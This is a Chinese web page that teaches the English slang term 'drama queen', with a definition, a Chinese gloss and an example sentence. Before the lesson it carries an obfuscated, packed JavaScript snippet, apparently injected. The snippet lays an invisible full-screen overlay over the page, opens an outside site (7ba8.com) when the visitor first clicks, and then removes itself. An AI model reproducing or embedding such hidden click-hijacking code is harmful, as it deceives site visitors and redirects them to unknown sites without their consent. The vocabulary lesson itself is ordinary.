<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我们有时候会把身边一些过分追求细节的人形容为“较真儿”。其实，追求细节并没有错，只不过有时候如果演变成吹毛求疵或者小题大做，那就有点让人不好接受了。今天我们要说的就是这样一群让人退避不及的drama queen。
没事儿找事儿的drama queen
Drama queen refers to people (mostly girls - but boys play their part) who turn something unimportant into a major deal, or who blow things way out of proportion whenever the chance is given because they either: a) want to seek attention; b) have some emotional dysfunction and it's their duty to make life harder for everyone around them; c) just simply can't get over it。
Drama queen(字面意思为“戏剧女王”)指那些(多为女性，不过也不排除男性)喜欢小题大做，一有机会就兴风作浪、夸大事态的人。他们这样做的原因有：想获得关注；情绪失控，就想闹得周围的人不得安宁；或者就是习惯这样，改不了。
由此，我们可以把drama queen译作“没事儿找事儿的人”或者“事儿妈”。
For example:
Mary blows everything out of proportion! She's such a drama queen!
玛丽每件事情都小题大做！真是个事儿妈！ |
|
收藏